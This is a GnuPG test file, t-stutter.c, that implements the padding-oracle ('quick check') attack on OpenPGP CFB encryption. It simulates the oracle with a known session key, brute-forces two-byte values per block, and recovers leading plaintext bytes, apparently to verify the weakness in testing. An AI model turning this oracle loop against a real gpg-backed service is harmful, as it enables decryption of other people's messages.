gpg: Add a new test.
[gnupg.git] / g10 / t-stutter.c
1 /* t-stutter.c - Test the stutter exploit.
2  * Copyright (C) 2016 g10 Code GmbH
3  *
4  * This file is part of GnuPG.
5  *
6  * GnuPG is free software; you can redistribute it and/or modify
7  * it under the terms of the GNU General Public License as published by
8  * the Free Software Foundation; either version 3 of the License, or
9  * (at your option) any later version.
10  *
11  * GnuPG is distributed in the hope that it will be useful,
12  * but WITHOUT ANY WARRANTY; without even the implied warranty of
13  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14  * GNU General Public License for more details.
15  *
16  * You should have received a copy of the GNU General Public License
17  * along with this program; if not, see <http://www.gnu.org/licenses/>.
18  */
19
20 /* This test is based on the paper: "An Attack on CFB Mode Encryption
21  * as Used by OpenPGP."  This attack uses a padding oracle to decrypt
22  * the first two bytes of each block (which are normally 16 bytes
23  * large).  Concretely, if an attacker can use this attack if it can
24  * sense whether the quick integrity check failed.  See RFC 4880,
25  * Section 5.7 for an explanation of this quick check.
26  *
27  * The concrete attack, as described in the paper, only works for
28  * PKT_ENCRYPTED packets; it does not work for PKT_ENCRYPTED_MDC
29  * packets, which use a slightly different CFB mode (they don't
30  * include a sync after the IV).  But, small modifications should
31  * allow the attack to work for PKT_ENCRYPTED_MDC packets.
32  *
33  * The cost of this attack is 2^15 + i * 2^15 oracle queries, where i
34  * is the number of blocks the attack wants to decrypt.  This attack
35  * is completely unfeasible when gpg is used interactively, but it
36  * could work when used as a service.
37  *
38  * How to generate a test message:
39  *
40  *   $ echo 0123456789abcdefghijklmnopqrstuvwxyz | gpg2 --disable-mdc -z 0 -c  > msg.asc
41  *   $ gpg2 --list-packets msg.asc
42  *   # Make sure the encryption packet contains a literal packet (without
43  *   # any nesting).
44  *   $ gpgsplit msg.asc
45  *   $ gpg2 --show-session-key -d msg.asc
46  *   $ ./t-stutter --debug SESSION_KEY 000002-009.encrypted
47  */
48
49 #include <config.h>
50 #include <errno.h>
51 #include <ctype.h>
52
53 #include "gpg.h"
54 #include "main.h"
55 #include "../common/types.h"
56 #include "util.h"
57 #include "dek.h"
58 #include "../common/logging.h"
59
60 static void
61 log_hexdump (byte *buffer, int length)
62 {
63   int written = 0;
64
65   fprintf (stderr, "%d bytes:\n", length);
66   while (length > 0)
67     {
68       int have = length > 16 ? 16 : length;
69       int i;
70       char formatted[2 * have + 1];
71       char text[have + 1];
72
73       fprintf (stderr, "%-8d ", written);
74       bin2hex (buffer, have, formatted);
75       for (i = 0; i < 16; i ++)
76         {
77           if (i % 2 == 0)
78             fputc (' ', stderr);
79           if (i % 8 == 0)
80             fputc (' ', stderr);
81
82           if (i < have)
83             fwrite (&formatted[2 * i], 2, 1, stderr);
84           else
85             fwrite ("  ", 2, 1, stderr);
86         }
87
88       for (i = 0; i < have; i ++)
89         if (isprint (buffer[i]))
90           text[i] = buffer[i];
91         else
92           text[i] = '.';
93       text[i] = 0;
94
95       fprintf (stderr, "    ");
96       if (strlen (text) > 8)
97         {
98           fwrite (text, 8, 1, stderr);
99           fputc (' ', stderr);
100           fwrite (&text[8], strlen (text) - 8, 1, stderr);
101         }
102       else
103         fwrite (text, strlen (text), 1, stderr);
104       fputc ('\n', stderr);
105
106       buffer += have;
107       length -= have;
108       written += have;
109     }
110
111   return;
112 }
113
114 static char *
115 hexstr (const byte *bytes)
116 {
117   static int i;
118   static char bufs[100][7];
119
120   i ++;
121   if (i == 100)
122     i = 0;
123
124   sprintf (bufs[i], "0x%02X%02X", bytes[0], bytes[1]);
125   return bufs[i];
126 }
127 \f
128 /* xor the two bytes starting at A with the two bytes starting at B
129    and return the result.  */
130 static byte *
131 bufxor2 (const byte *a, const byte *b)
132 {
133   static int i;
134   static char bufs[100][2];
135
136   i ++;
137   if (i == 100)
138     i = 0;
139
140   bufs[i][0] = a[0] ^ b[0];
141   bufs[i][1] = a[1] ^ b[1];
142   return bufs[i];
143 }
144 \f
145 /* The session key stays constant.  */
146 static DEK dek;
147 int blocksize;
148
149 /* Decode the session key, which is in the format output by gpg
150    --show-session-key.  */
151 static void
152 parse_session_key (char *session_key)
153 {
154   char *tail;
155   char *p = session_key;
156
157   errno = 0;
158   dek.algo = strtol (p, &tail, 10);
159   if (errno || (tail && *tail != ':'))
160     log_fatal ("Invalid session key specification.  "
161                "Expected: cipher-id:HEXADECIMAL-CHRACTERS\n");
162
163   /* Skip the ':'.  */
164   p = tail + 1;
165
166   if (strlen (p) % 2 != 0)
167     log_fatal ("Session key must consist of an even number of hexadecimal characters.\n");
168
169   dek.keylen = strlen (p) / 2;
170   log_assert (dek.keylen <= sizeof (dek.key));
171
172   if (hex2bin (p, dek.key, dek.keylen) == -1)
173     log_fatal ("Session key must only contain hexadecimal characters\n");
174
175   blocksize = openpgp_cipher_get_algo_blklen (dek.algo);
176   if ( !blocksize || blocksize > 16 )
177     log_fatal ("unsupported blocksize %u\n", blocksize );
178
179   return;
180 }
181 \f
182 /* The ciphertext, the plaintext as decrypted by the good session key,
183    and the cfb stream (derived from the ciphertext and the
184    plaintext).  */
185 static int msg_len;
186 static byte *msg;
187 static byte *msg_plaintext;
188 static byte *msg_cfb;
189
190 /* Whether we need to resynchronize the CFB after writing the random
191    data (this is the case for encrypted packets, but not encrypted and
192    integrity protected packets).  */
193 static int sync;
194
195 static int
196 block_offset (int i)
197 {
198   int extra = 0;
199
200   log_assert (i >= 1);
201   /* Make sure blocksize has been initialized.  */
202   log_assert (blocksize);
203
204   if (i > 2)
205     {
206       i -= 2;
207       extra = blocksize + 2;
208     }
209   return (i - 1) * blocksize + extra;
210 }
211
212 /* Return the ith block from TEXT.  The first block is labeled 1.
213    Note: consistent with the OpenPGP message format, the second block
214    (i=2) is just 2 bytes.  */
215 static byte *
216 block (byte *text, int len, int i)
217 {
218   int offset = block_offset (i);
219
220   log_assert (offset < len);
221   return &text[offset];
222 }
223 \f
224 /* Return true if the quick integrity check passes.  Also, if
225    PLAINTEXTP is not NULL, return the decrypted plaintext in
226    *PLAINTEXTP.  If CFBP is not NULL, return the CFB byte stream in
227    *CFBP.  */
228 static int
229 oracle (int debug, byte *ciphertext, int len, byte **plaintextp, byte **cfbp)
230 {
231   int rc = 0;
232   unsigned nprefix;
233   gcry_cipher_hd_t cipher_hd = NULL;
234   byte *plaintext = NULL;
235   byte *cfb = NULL;
236
237   /* Make sure DEK was initialized.  */
238   log_assert (dek.algo);
239   log_assert (dek.keylen);
240   log_assert (blocksize);
241
242   nprefix = blocksize;
243   if (len < nprefix + 2)
244     {
245        /* An invalid message.  We can't check that during parsing
246           because we may not know the used cipher then.  */
247       rc = gpg_error (GPG_ERR_INV_PACKET);
248       goto leave;
249     }
250
251   rc = openpgp_cipher_open (&cipher_hd, dek.algo,
252                             GCRY_CIPHER_MODE_CFB,
253                             (! sync /* ed->mdc_method || dek.algo >= 100 */ ?
254                              0 : GCRY_CIPHER_ENABLE_SYNC));
255   if (rc)
256     log_fatal ("Failed to open cipher: %s\n", gpg_strerror (rc));
257
258   rc = gcry_cipher_setkey (cipher_hd, dek.key, dek.keylen);
259   if (gpg_err_code (rc) == GPG_ERR_WEAK_KEY)
260     {
261       log_info ("WARNING: message was encrypted with"
262                 " a weak key in the symmetric cipher.\n");
263       rc=0;
264     }
265   else if( rc )
266     log_fatal ("key setup failed: %s\n", gpg_strerror (rc));
267
268   gcry_cipher_setiv (cipher_hd, NULL, 0);
269
270   if (debug)
271     {
272       log_debug ("Encrypted data:\n");
273       log_hexdump(ciphertext, len);
274     }
275   plaintext = xmalloc_clear (len);
276   gcry_cipher_decrypt (cipher_hd, plaintext, blocksize + 2,
277                        ciphertext, blocksize + 2);
278   gcry_cipher_sync (cipher_hd);
279   if (len > blocksize+2)
280     gcry_cipher_decrypt (cipher_hd,
281                          &plaintext[blocksize+2], len-(blocksize+2),
282                          &ciphertext[blocksize+2], len-(blocksize+2));
283
284   if (debug)
285     {
286       log_debug ("Decrypted data:\n");
287       log_hexdump (plaintext, len);
288       log_debug ("R_{b-1,b} = %s\n", hexstr (&plaintext[blocksize - 2]));
289       log_debug ("R_{b+1,b+2} = %s\n", hexstr (&plaintext[blocksize]));
290     }
291
292   if (cfbp || debug)
293     {
294       int i;
295       cfb = xmalloc (len);
296       for (i = 0; i < len; i ++)
297         cfb[i] = plaintext[i] ^ ciphertext[i];
298
299       log_assert (len >= blocksize + 2);
300
301       if (debug)
302         {
303           log_debug ("cfb:\n");
304           log_hexdump (cfb, len);
305
306           log_debug ("E_k([C_1]_{1,2}) = C_2 xor R (%s xor %s) = %s\n",
307                     hexstr (&ciphertext[blocksize]),
308                     hexstr (&plaintext[blocksize]),
309                     hexstr (bufxor2 (&ciphertext[blocksize],
310                                      &plaintext[blocksize])));
311           if (len >= blocksize + 4)
312             log_debug ("D = Ek([C1]_{3-b} || C_2)_{1-2} (%s) xor C2 (%s) xor E_k(0)_{b-1,b} (%s) = %s\n",
313                        hexstr (&cfb[blocksize + 2]),
314                        hexstr (&ciphertext[blocksize]),
315                        hexstr (&cfb[blocksize - 2]),
316                        hexstr (bufxor2 (bufxor2 (&cfb[blocksize + 2],
317                                                  &ciphertext[blocksize]),
318                                         &cfb[blocksize - 2])));
319         }
320     }
321
322   if (plaintext[nprefix-2] != plaintext[nprefix]
323       || plaintext[nprefix-1] != plaintext[nprefix+1])
324     {
325       rc = gpg_error (GPG_ERR_BAD_KEY);
326       goto leave;
327     }
328
329  leave:
330   if (! rc && plaintextp)
331     *plaintextp = plaintext;
332   else
333     xfree (plaintext);
334
335   if (! rc && cfbp)
336     *cfbp = cfb;
337   else
338     xfree (cfb);
339
340   if (cipher_hd)
341     gcry_cipher_close (cipher_hd);
342   return rc;
343 }
344
345 /* Query the oracle with D=D for block B.  */
346 static int
347 oracle_test (unsigned int d, int b, int debug)
348 {
349   byte probe[blocksize + 2];
350
351   log_assert (d < 256 * 256);
352
353   if (b == 1)
354     memcpy (probe, &msg[2], blocksize);
355   else
356     memcpy (probe, block (msg, msg_len, b), blocksize);
357
358   probe[blocksize] = d >> 8;
359   probe[blocksize + 1] = d & 0xff;
360
361   if (debug)
362     log_debug ("oracle (0x%04X):\n", d);
363
364   return oracle (debug, probe, blocksize + 2, NULL, NULL) == 0;
365 }
366
367 int
368 main (int argc, char *argv[])
369 {
370   int i;
371   int debug = 0;
372   char *filename = NULL;
373   int help = 0;
374
375   byte *raw_data;
376   int raw_data_len;
377
378   int failed = 0;
379
380   for (i = 1; i < argc; i ++)
381     {
382       if (strcmp (argv[i], "--debug") == 0)
383         debug = 1;
384       else if (! blocksize)
385         parse_session_key (argv[i]);
386       else if (! filename)
387         filename = argv[i];
388       else
389         {
390           help = 1;
391           break;
392         }
393     }
394
395   if (! blocksize && ! filename && (filename = getenv ("srcdir")))
396     /* Try defaults.  */
397     {
398       parse_session_key ("9:9274A8EC128E850C6DDDF9EAC68BFA84FC7BC05F340DA41D78C93D0640C7C503");
399       filename = xasprintf ("%s/t-stutter-data.asc", filename);
400     }
401
402   if (help || ! blocksize || ! filename)
403     log_fatal ("Usage: %s [--debug] SESSION_KEY ENCRYPTED_PKT\n", argv[0]);
404
405   /* Don't read more than a KB.  */
406   raw_data_len = 1024;
407   raw_data = xmalloc (raw_data_len);
408
409   {
410     FILE *fp;
411     int r;
412
413     fp = fopen (filename, "r");
414     if (! fp)
415       log_fatal ("Opening %s: %s\n", filename, strerror (errno));
416     r = fread (raw_data, 1, raw_data_len, fp);
417     fclose (fp);
418
419     /* We need at least the random data, the encrypted and literal
420        packets' headers and some body.  */
421     if (r < (blocksize + 2 /* Random data.  */
422              + 2 * blocksize /* Header + some plaintext.  */))
423       log_fatal ("Not enough data (need at least %d bytes of plain text): %s.\n",
424                  blocksize + 2, strerror (errno));
425     raw_data_len = r;
426
427     if (debug)
428       {
429         log_debug ("First few bytes of the raw data:\n");
430         log_hexdump (raw_data, raw_data_len > 8 ? 8 : raw_data_len);
431       }
432   }
433
434   /* Parse the packet's header.  */
435   {
436     int ctb = raw_data[0];
437     int new_format = ctb & (1 << 7);
438     int pkttype = (ctb & ((1 << 5) - 1)) >> (new_format ? 0 : 2);
439     int hdrlen;
440
441     if (new_format)
442       {
443         if (debug)
444           log_debug ("len encoded: 0x%x (%d)\n", raw_data[1], raw_data[1]);
445         if (raw_data[1] < 192)
446           hdrlen = 2;
447         else if (raw_data[1] < 224)
448           hdrlen = 3;
449         else if (raw_data[1] == 255)
450           hdrlen = 5;
451         else
452           hdrlen = 2;
453       }
454     else
455       {
456         int lentype = ctb & 0x3;
457         if (lentype == 0)
458           hdrlen = 2;
459         else if (lentype == 1)
460           hdrlen = 3;
461         else if (lentype == 2)
462           hdrlen = 5;
463         else
464           /* Indeterminate.  */
465           hdrlen = 1;
466       }
467
468     if (debug)
469       log_debug ("ctb = %x; %s format, hdrlen: %d, packet: %s\n",
470                  ctb, new_format ? "new" : "old",
471                  hdrlen,
472                  pkttype_str (pkttype));
473
474     if (! (pkttype == PKT_ENCRYPTED || pkttype == PKT_ENCRYPTED_MDC))
475       log_fatal ("%s does not contain an encrypted packet, but a %s.\n",
476                  filename, pkttype_str (pkttype));
477
478     if (pkttype == PKT_ENCRYPTED_MDC)
479       {
480         /* The first byte following the header is the version, which
481            is 1.  */
482         log_assert (raw_data[hdrlen] == 1);
483         hdrlen ++;
484         sync = 0;
485       }
486     else
487       sync = 1;
488
489     msg = &raw_data[hdrlen];
490     msg_len = raw_data_len - hdrlen;
491   }
492
493   log_assert (msg_len >= blocksize + 2);
494
495   {
496     /* This can at least partially be guessed.  So we just assume that
497        it is known.  */
498     int d;
499     int found;
500     const byte *m1;
501     byte e_k_zero[2];
502
503     if (oracle (debug, msg, msg_len, &msg_plaintext, &msg_cfb) == 0)
504       {
505         if (debug)
506           log_debug ("Session key appears to be good.\n");
507       }
508     else
509       log_fatal ("Session key is bad!\n");
510
511     m1 = &msg_plaintext[blocksize + 2];
512     if (debug)
513       log_debug ("First two bytes of plaintext are: %02X (%c) %02X (%c)\n",
514                  m1[0], isprint (m1[0]) ? m1[0] : '?',
515                  m1[1], isprint (m1[1]) ? m1[1] : '?');
516
517     for (d = 0; d < 256 * 256; d ++)
518       if ((found = oracle_test (d, 1, 0)))
519         break;
520
521     if (! found)
522       log_fatal ("Failed to find d!\n");
523
524     if (debug)
525       oracle_test (d, 1, 1);
526
527     if (debug)
528       log_debug ("D = %d (%x) looks good.\n", d, d);
529
530     {
531       byte *c2 = block (msg, msg_len, 2);
532       byte D[2] = { d >> 8, d & 0xFF };
533       byte *c3 = block (msg, msg_len, 3);
534
535       memcpy (e_k_zero,
536               bufxor2 (bufxor2 (c2, D),
537                        bufxor2 (c3, m1)),
538               sizeof (e_k_zero));
539
540       if (debug)
541         {
542           log_debug ("C2 = %s\n", hexstr (c2));
543           log_debug ("D = %s\n", hexstr (D));
544           log_debug ("C3 = %s\n", hexstr (c3));
545           log_debug ("M = %s\n", hexstr (m1));
546           log_debug ("E_k([C1]_{3-b} || C_2) = C3 xor M1 = %s\n",
547                      hexstr (bufxor2 (c3, m1)));
548           log_debug ("E_k(0)_{b-1,b} = %s\n", hexstr (e_k_zero));
549         }
550     }
551
552     /* Figure out the first 2 bytes of M2... (offset 16 & 17 of the
553        plain text assuming the blocksize == 16 or bytes 34 & 35 of the
554        decrypted cipher text, i.e., C4).  */
555     for (i = 1; block_offset (i + 3) + 2 <= msg_len; i ++)
556       {
557         byte e_k_prime[2];
558         byte m[2];
559         byte *ct = block (msg, msg_len, i + 2);
560         byte *pt = block (msg_plaintext, msg_len, 2 + i + 1);
561
562         for (d = 0; d < 256 * 256; d ++)
563           if (oracle_test (d, i + 2, 0))
564             {
565               found = 1;
566               break;
567             }
568
569         if (! found)
570           log_fatal ("Failed to find a valid d for block %d\n", i);
571
572         if (debug)
573           log_debug ("Block %d: oracle: D = %04X passes integrity check\n",
574                      i, d);
575
576         {
577           byte D[2] = { d >> 8, d & 0xFF };
578           memcpy (e_k_prime,
579                   bufxor2 (bufxor2 (&ct[blocksize - 2], D), e_k_zero),
580                   sizeof (e_k_prime));
581
582           memcpy (m, bufxor2 (e_k_prime, block (msg, msg_len, i + 3)),
583                   sizeof (m));
584         }
585
586         if (debug)
587           log_debug ("=> block %d starting at %zd starts with: "
588                      "%s (%c%c)\n",
589                      i, (size_t) pt - (size_t) msg_plaintext,
590                      hexstr (m),
591                      isprint (m[0]) ? m[0] : '?', isprint (m[1]) ? m[1] : '?');
592
593         if (m[0] != pt[0] || m[1] != pt[1])
594           {
595             log_debug ("oracle attack failed!  Expected %s (%c%c), got %s\n",
596                        hexstr (pt),
597                        isprint (pt[0]) ? pt[0] : '?',
598                        isprint (pt[1]) ? pt[1] : '?',
599                        hexstr (m));
600             failed = 1;
601           }
602       }
603
604     if (i == 1)
605       log_fatal ("Message is too short, nothing to test.\n");
606   }
607
608   return failed;
609 }